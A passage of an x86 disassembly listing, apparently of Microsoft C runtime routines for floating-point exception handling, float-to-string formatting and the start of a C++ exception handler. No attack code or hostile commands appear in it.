jz short loc_41A5CE test esi, esi jnz short loc_41A5CE mov esi, ebx loc_41A5CE: ; CODE XREF: sub_41A413+1B3j ; sub_41A413+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_41A5DA or byte ptr [ebp+var_C+3], 80h loc_41A5DA: ; CODE XREF: sub_41A413+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_41A5C3 loc_41A5E0: ; CODE XREF: sub_41A413+1ACj test edx, edx jz short loc_41A5EC fld [ebp+var_C] fchs fstp [ebp+var_C] loc_41A5EC: ; CODE XREF: sub_41A413+183j ; sub_41A413+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_41A5F8 ; --------------------------------------------------------------------------- loc_41A5F6: ; CODE XREF: sub_41A413+14Ej mov esi, ebx loc_41A5F8: ; CODE XREF: sub_41A413+1E1j test esi, esi pop esi jz short loc_41A605 push 10h call sub_41A8C0 pop ecx loc_41A605: ; CODE XREF: sub_41A413+1E8j and edi, 0FFFFFFFDh loc_41A608: ; CODE XREF: sub_41A413+26j ; sub_41A413+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_41A61F test byte ptr [ebp+arg_8], 20h jz short loc_41A61F push 20h call sub_41A8C0 pop ecx and edi, 0FFFFFFEFh loc_41A61F: ; CODE XREF: sub_41A413+1F9j ; sub_41A413+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_41A413 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A62A(int,int,int,int,int,int,double,int) sub_41A62A proc near ; CODE XREF: sub_41A075+2Bp ; sub_41A0C8+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_41A6D8 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_41A695 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_41A89D lea eax, [ebp+var_20] push eax call sub_41E29F add esp, 0Ch test eax, eax jnz short loc_41A68F push esi call sub_41A6B2 pop ecx loc_41A68F: ; CODE XREF: sub_41A62A+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_41A695: ; CODE XREF: sub_41A62A+14j push 0FFFFh push [ebp+arg_20] call sub_41A89D push [ebp+arg_0] call sub_41A6B2 fld [ebp+arg_18] add esp, 0Ch leave retn sub_41A62A endp ; =============== S U B R O U T I N E ======================================= sub_41A6B2 proc near ; CODE XREF: sub_41A0C8+7Dp ; sub_41A62A+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_41A6CD jle short locret_41A6D7 cmp eax, 3 jg short locret_41A6D7 mov ds:dword_4C9084, 22h retn ; --------------------------------------------------------------------------- loc_41A6CD: ; CODE XREF: sub_41A6B2+7j mov ds:dword_4C9084, 21h locret_41A6D7: ; CODE XREF: sub_41A6B2+9j ; sub_41A6B2+Ej retn sub_41A6B2 endp ; =============== S U B R O U T I N E ======================================= sub_41A6D8 proc near ; CODE XREF: sub_41A62A+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_4315A8 loc_41A6DF: ; CODE XREF: sub_41A6D8+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_41A6F5 add eax, 8 inc ecx cmp eax, offset dbl_431680 jl short loc_41A6DF xor eax, eax retn ; --------------------------------------------------------------------------- loc_41A6F5: ; CODE XREF: sub_41A6D8+Dj mov eax, ds:off_4315AC[ecx*8] retn sub_41A6D8 endp ; =============== S U B R O U T I N E ======================================= sub_41A6FD proc near ; CODE XREF: sub_41A0C8+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_41A709 push 5 jmp short loc_41A71F ; --------------------------------------------------------------------------- loc_41A709: ; CODE XREF: sub_41A6FD+6j test al, 8 jz short loc_41A711 push 1 jmp short loc_41A71F ; --------------------------------------------------------------------------- loc_41A711: ; CODE XREF: sub_41A6FD+Ej test al, 4 jz short loc_41A719 push 2 jmp short loc_41A71F ; --------------------------------------------------------------------------- loc_41A719: ; CODE XREF: sub_41A6FD+16j test al, 1 jz short loc_41A721 push 3 loc_41A71F: ; CODE XREF: sub_41A6FD+Aj ; sub_41A6FD+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_41A721: ; CODE XREF: sub_41A6FD+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_41A6FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A72A(double) sub_41A72A proc near ; CODE XREF: sub_415E4A:loc_415ED0p ; sub_415F93:loc_416019p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_41A72A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A73C(double,int) sub_41A73C proc near ; CODE XREF: sub_41A7BF+82p ; sub_41A7BF+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_41A73C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A765 proc near ; CODE XREF: sub_415E4A+31p ; sub_415F93+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_41A77C cmp [ebp+arg_0], edx jnz short loc_41A78E push 1 jmp short loc_41A7B8 ; --------------------------------------------------------------------------- loc_41A77C: ; CODE XREF: sub_41A765+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_41A78E cmp [ebp+arg_0], edx jnz short loc_41A78E push 2 jmp short loc_41A7B8 ; --------------------------------------------------------------------------- loc_41A78E: ; CODE XREF: sub_41A765+11j ; sub_41A765+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_41A7A1 push 3 jmp short loc_41A7B8 ; --------------------------------------------------------------------------- loc_41A7A1: ; CODE XREF: sub_41A765+36j cmp cx, 7FF0h jnz short loc_41A7BB test [ebp+arg_4], 7FFFFh jnz short loc_41A7B6 cmp [ebp+arg_0], edx jz short loc_41A7BB loc_41A7B6: ; CODE XREF: sub_41A765+4Aj push 4 loc_41A7B8: ; CODE XREF: sub_41A765+15j ; sub_41A765+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41A7BB: ; CODE XREF: sub_41A765+41j ; sub_41A765+4Fj xor eax, eax pop ebp retn sub_41A765 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A7BF(double,int) sub_41A7BF proc near ; CODE XREF: sub_41A413+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp ds:dbl_422800 push esi fnstsw ax sahf jnz short loc_41A7DF fldz xor esi, esi fstp [ebp+var_8] jmp loc_41A875 ; --------------------------------------------------------------------------- loc_41A7DF: ; CODE XREF: sub_41A7BF+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_41A84E test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_41A7F7 cmp dword ptr [ebp+arg_0], ecx jz short loc_41A84E loc_41A7F7: ; CODE XREF: sub_41A7BF+31j fld [ebp+arg_0] fcomp ds:dbl_422800 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_41A80F push 1 pop eax jmp short loc_41A811 ; --------------------------------------------------------------------------- loc_41A80F: ; CODE XREF: sub_41A7BF+49j xor eax, eax loc_41A811: ; CODE XREF: sub_41A7BF+4Ej ; sub_41A7BF+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_41A82A shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_41A824 or dword ptr [ebp+arg_0+4], 1 loc_41A824: ; CODE XREF: sub_41A7BF+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_41A811 ; --------------------------------------------------------------------------- loc_41A82A: ; CODE XREF: sub_41A7BF+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_41A838 or byte ptr [ebp+arg_0+7], 80h loc_41A838: ; CODE XREF: sub_41A7BF+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41A73C fstp [ebp+var_8] add esp, 0Ch jmp short loc_41A875 ; --------------------------------------------------------------------------- loc_41A84E: ; CODE XREF: sub_41A7BF+28j ; sub_41A7BF+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41A73C mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_41A875: ; CODE XREF: sub_41A7BF+1Bj ; sub_41A7BF+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_41A7BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A880 proc near ; CODE XREF: sub_41A160+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_41A880 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A88E proc near ; CODE XREF: sub_41A160+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_41A88E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A89D proc near ; CODE XREF: sub_415E4A+13p ; sub_415E4A+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_41A89D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8C0 proc near ; CODE XREF: sub_41A413+1Dp ; sub_41A413+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_41A8D7 fld ds:tbyte_4316A8 fistp [ebp+arg_0] wait loc_41A8D7: ; CODE XREF: sub_41A8C0+Bj test cl, 8 jz short loc_41A8EC fstsw ax fld ds:tbyte_4316A8 fstp [ebp+var_8] wait fstsw ax loc_41A8EC: ; CODE XREF: sub_41A8C0+1Aj test cl, 10h jz short loc_41A8FB fld ds:tbyte_4316B4 fstp [ebp+var_8] wait loc_41A8FB: ; CODE XREF: sub_41A8C0+2Fj test cl, 4 jz short loc_41A909 fldz fld1 fdivrp st(1), st fstp st wait loc_41A909: ; CODE XREF: sub_41A8C0+3Ej test cl, 20h jz short locret_41A914 fldpi fstp [ebp+var_8] wait locret_41A914: ; CODE XREF: sub_41A8C0+4Cj leave retn sub_41A8C0 endp ; =============== S U B R O U T I N E ======================================= sub_41A916 proc near ; CODE XREF: sub_415F19+Fp push 30000h push 10000h call sub_41E2D7 pop ecx pop ecx retn sub_41A916 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A928 proc near ; CODE XREF: sub_41A966:loc_41A98Aj var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld ds:dbl_422810 fstp [ebp+var_8] fld ds:dbl_422808 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp ds:dbl_422690 fnstsw ax sahf jbe short loc_41A962 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_41A962: ; CODE XREF: sub_41A928+33j xor eax, eax leave retn sub_41A928 endp ; =============== S U B R O U T I N E ======================================= sub_41A966 proc near ; CODE XREF: sub_415F19+5p push offset aKernel32 ; "KERNEL32" call ds:off_4220E0 test eax, eax jz short loc_41A98A push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call ds:off_4220BC test eax, eax jz short loc_41A98A push 0 call eax ; sub_415F19 retn ; --------------------------------------------------------------------------- loc_41A98A: ; CODE XREF: sub_41A966+Dj ; sub_41A966+1Dj jmp sub_41A928 sub_41A966 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A98F proc near ; CODE XREF: sub_417F58+3CBp ; DATA XREF: sub_415F31+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_417221 cmp eax, 65h pop ecx jz short loc_41A9CF loc_41A9A3: ; CODE XREF: sub_41A98F+3Ej inc esi cmp ds:dword_42F56C, 1 jle short loc_41A9BC movsx eax, byte ptr [esi] push 4 push eax call sub_418762 pop ecx pop ecx jmp short loc_41A9CB ; --------------------------------------------------------------------------- loc_41A9BC: ; CODE XREF: sub_41A98F+1Cj movsx eax, byte ptr [esi] mov ecx, ds:off_42F360 mov al, [ecx+eax*2] and eax, 4 loc_41A9CB: ; CODE XREF: sub_41A98F+2Bj test eax, eax jnz short loc_41A9A3 loc_41A9CF: ; CODE XREF: sub_41A98F+12j mov cl, ds:byte_42F570 mov al, [esi] mov [esi], cl inc esi loc_41A9DA: ; CODE XREF: sub_41A98F+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_41A9DA pop esi retn sub_41A98F endp ; =============== S U B R O U T I N E ======================================= sub_41A9E9 proc near ; CODE XREF: sub_417F58+3E2p ; DATA XREF: sub_415F31+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, ds:byte_42F570 mov cl, [eax] test cl, cl jz short loc_41AA05 loc_41A9F9: ; CODE XREF: sub_41A9E9+1Aj cmp cl, dl jz short loc_41AA05 mov cl, [eax+1] inc eax test cl, cl jnz short loc_41A9F9 loc_41AA05: ; CODE XREF: sub_41A9E9+Ej ; sub_41A9E9+12j mov cl, [eax] inc eax test cl, cl jz short locret_41AA36 loc_41AA0C: ; CODE XREF: sub_41A9E9+34j mov cl, [eax] test cl, cl jz short loc_41AA1F cmp cl, 65h jz short loc_41AA1F cmp cl, 45h jz short loc_41AA1F inc eax jmp short loc_41AA0C ; --------------------------------------------------------------------------- loc_41AA1F: ; CODE XREF: sub_41A9E9+27j ; sub_41A9E9+2Cj ... mov ecx, eax loc_41AA21: ; CODE XREF: sub_41A9E9+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_41AA21 cmp [eax], dl jnz short loc_41AA2C dec eax loc_41AA2C: ; CODE XREF: sub_41A9E9+40j ; sub_41A9E9+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_41AA2C locret_41AA36: ; CODE XREF: sub_41A9E9+21j retn sub_41A9E9 endp ; =============== S U B R O U T I N E ======================================= sub_41AA37 proc near ; DATA XREF: sub_415F31+28o ; _2:off_4316D0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp ds:dbl_422800 fnstsw ax sahf jb short loc_41AA4C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41AA4C: ; CODE XREF: sub_41AA37+Fj xor eax, eax retn sub_41AA37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA4F proc near ; CODE XREF: sub_41B7F5+430p ; DATA XREF: sub_415F31+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_41AA78 lea eax, [ebp+var_8] push eax call sub_41E79A mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_41AA78: ; CODE XREF: sub_41AA4F+Cj lea eax, [ebp+arg_8] push eax call sub_41E7C7 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_41AA4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA8D proc near ; CODE XREF: sub_41AD0A+17p ; sub_41AD54+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp ds:byte_4C90F4, 0 push ebx push esi jz short loc_41AAC2 mov ebx, [ebp+arg_8] mov eax, ds:dword_4C90F0 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_41ADA5 pop ecx pop ecx jmp short loc_41AAFA ; --------------------------------------------------------------------------- loc_41AAC2: ; CODE XREF: sub_41AA8D+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_41E86B mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_41E7F4 add esp, 14h loc_41AAFA: ; CODE XREF: sub_41AA8D+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_41AB06 mov byte ptr [eax], 2Dh inc eax loc_41AB06: ; CODE XREF: sub_41AA8D+73j test ebx, ebx jle short loc_41AB1E mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, ds:byte_42F570 mov eax, edi pop edi mov [eax], cl loc_41AB1E: ; CODE XREF: sub_41AA8D+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp ds:byte_4C90F4, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_415B90 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_41AB45 mov byte ptr [ecx], 45h loc_41AB45: ; CODE XREF: sub_41AA8D+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_41AB8A mov ebx, [esi+4] dec ebx jns short loc_41AB59 neg ebx mov byte ptr [ecx], 2Dh loc_41AB59: ; CODE XREF: sub_41AA8D+C5j inc ecx cmp ebx, 64h jl short loc_41AB70 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41AB70: ; CODE XREF: sub_41AA8D+D0j inc ecx cmp ebx, 0Ah jl short loc_41AB87 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41AB87: ; CODE XREF: sub_41AA8D+E7j add [ecx+1], bl loc_41AB8A: ; CODE XREF: sub_41AA8D+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_41AA8D endp ; =============== S U B R O U T I N E ======================================= sub_41AB91 proc near ; CODE XREF: sub_41AD31+13p ; sub_41AD54+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp ds:byte_4C90F4, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_41ABCC mov eax, ds:dword_4C90F8 mov ebx, [esp+10h+arg_8] mov esi, ds:dword_4C90F0 cmp eax, ebx jnz short loc_41ABFC xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_41ABFC ; --------------------------------------------------------------------------- loc_41ABCC: ; CODE XREF: sub_41AB91+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_41E86B mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_41E7F4 add esp, 14h loc_41ABFC: ; CODE XREF: sub_41AB91+22j ; sub_41AB91+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_41AC0A mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_41AC0A: ; CODE XREF: sub_41AB91+70j mov eax, [esi+4] test eax, eax jg short loc_41AC21 push 1 push edi call sub_41ADA5 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_41AC23 ; --------------------------------------------------------------------------- loc_41AC21: ; CODE XREF: sub_41AB91+7Ej add edi, eax loc_41AC23: ; CODE XREF: sub_41AB91+8Ej test ebx, ebx jle short loc_41AC68 push 1 push edi call sub_41ADA5 mov al, ds:byte_42F570 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_41AC68 cmp ds:byte_4C90F4, 0 jz short loc_41AC4D neg esi jmp short loc_41AC53 ; --------------------------------------------------------------------------- loc_41AC4D: ; CODE XREF: sub_41AB91+B6j neg esi cmp ebx, esi jl short loc_41AC55 loc_41AC53: ; CODE XREF: sub_41AB91+BAj mov ebx, esi loc_41AC55: ; CODE XREF: sub_41AB91+C0j push ebx push edi call sub_41ADA5 push ebx push 30h push edi call sub_415500 add esp, 14h loc_41AC68: ; CODE XREF: sub_41AB91+94j ; sub_41AB91+ADj pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_41AB91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AC6F proc near ; CODE XREF: sub_41AD54+34p var_14 = qword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] push ecx push ecx fld qword ptr [edi] fstp [esp+14h+var_14] call sub_41E86B mov ds:dword_4C90F0, eax mov ecx, [eax+4] dec ecx mov ebx, [ebp+arg_8] mov ds:dword_4C90F8, ecx xor ecx, ecx cmp dword ptr [eax], 2Dh push eax push ebx setz cl add ecx, [ebp+arg_4] mov esi, ecx push esi call sub_41E7F4 mov eax, ds:dword_4C90F0 add esp, 14h mov ecx, [eax+4] dec ecx cmp ds:dword_4C90F8, ecx setl cl mov ds:byte_4C90FC, cl mov eax, [eax+4] dec eax cmp eax, 0FFFFFFFCh mov ds:dword_4C90F8, eax jl short loc_41ACF5 cmp eax, ebx jge short loc_41ACF5 test cl, cl jz short loc_41ACE6 loc_41ACDC: ; CODE XREF: sub_41AC6F+72j mov al, [esi] inc esi test al, al jnz short loc_41ACDC and [esi-2], al loc_41ACE6: ; CODE XREF: sub_41AC6F+6Bj push ebx push [ebp+arg_4] push edi call sub_41AD31 add esp, 0Ch jmp short loc_41AD05 ; --------------------------------------------------------------------------- loc_41ACF5: ; CODE XREF: sub_41AC6F+63j ; sub_41AC6F+67j push [ebp+arg_C] push ebx push [ebp+arg_4] push edi call sub_41AD0A add esp, 10h loc_41AD05: ; CODE XREF: sub_41AC6F+84j pop edi pop esi pop ebx pop ebp retn sub_41AC6F endp ; =============== S U B R O U T I N E ======================================= sub_41AD0A proc near ; CODE XREF: sub_41AC6F+8Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push [esp+arg_C] mov ds:byte_4C90F4, 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41AA8D and ds:byte_4C90F4, 0 add esp, 10h retn sub_41AD0A endp ; =============== S U B R O U T I N E ======================================= sub_41AD31 proc near ; CODE XREF: sub_41AC6F+7Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_8] mov ds:byte_4C90F4, 1 push [esp+4+arg_4] push [esp+8+arg_0] call sub_41AB91 and ds:byte_4C90F4, 0 add esp, 0Ch retn sub_41AD31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AD54 proc near ; CODE XREF: sub_417F58+3AAp ; DATA XREF: sub_415F31o ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp cmp [ebp+arg_8], 65h jz short loc_41AD8F cmp [ebp+arg_8], 45h jz short loc_41AD8F cmp [ebp+arg_8], 66h jnz short loc_41AD7C push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41AB91 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- loc_41AD7C: ; CODE XREF: sub_41AD54+13j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41AC6F jmp short loc_41ADA0 ; --------------------------------------------------------------------------- loc_41AD8F: ; CODE XREF: sub_41AD54+7j ; sub_41AD54+Dj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_41AA8D loc_41ADA0: ; CODE XREF: sub_41AD54+39j add esp, 10h pop ebp retn sub_41AD54 endp ; =============== S U B R O U T I N E ======================================= sub_41ADA5 proc near ; CODE XREF: sub_41AA8D+2Cp ; sub_41AB91+83p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] test edi, edi jz short loc_41ADC8 push esi mov esi, [esp+8+arg_0] push esi call sub_415C80 inc eax push eax push esi add esi, edi push esi call sub_416470 add esp, 10h pop esi loc_41ADC8: ; CODE XREF: sub_41ADA5+7j pop edi retn sub_41ADA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADCA proc near ; CODE XREF: _0:00416114p ; sub_41617D+1Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp push esi mov esi, [ebp+arg_10] push edi mov edi, 19930520h cmp [esi], edi jz short loc_41ADE0 call sub_41B672 loc_41ADE0: ; CODE XREF: sub_41ADCA+Fj mov eax, [ebp+arg_0] test byte ptr [eax+4], 66h jz short loc_41AE08 cmp dword ptr [esi+4], 0 jz short loc_41AE5E cmp [ebp+arg_14], 0 jnz short loc_41AE5E push 0FFFFFFFFh push esi push [ebp+arg_C] push [ebp+arg_4] call sub_41B111 add esp, 10h jmp short loc_41AE5E ; --------------------------------------------------------------------------- loc_41AE08: ; CODE XREF: sub_41ADCA+1Dj cmp dword ptr [esi+0Ch], 0 jz short loc_41AE5E cmp dword ptr [eax], 0E06D7363h jnz short loc_41AE42 cmp [eax+14h], edi jbe short loc_41AE42 mov ecx, [eax+1Ch] mov ecx, [ecx+8] test ecx, ecx jz short loc_41AE42 movzx edx, byte ptr [ebp+arg_1C] push edx push [ebp+arg_18] push [ebp+arg_14] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call ecx add esp, 20h jmp short loc_41AE61 ; --------------------------------------------------------------------------- loc_41AE42: ; CODE XREF: sub_41ADCA+4Aj ; sub_41ADCA+4Fj ... push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_1C] push esi push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push eax call sub_41AE65 add esp, 20h loc_41AE5E: ; CODE XREF: sub_41ADCA+23j ; sub_41ADCA+29j ... push 1 pop eax loc_41AE61: ; CODE XREF: sub_41ADCA+76j pop edi pop esi pop ebp retn sub_41ADCA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AE65 proc near ; CODE XREF: sub_41ADCA+8Cp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = byte ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_4] and byte ptr [ebp+var_14], 0 mov eax, [eax+8] cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jl short loc_41AE85 mov ecx, [ebp+arg_10] cmp eax, [ecx+4] jl short loc_41AE8A 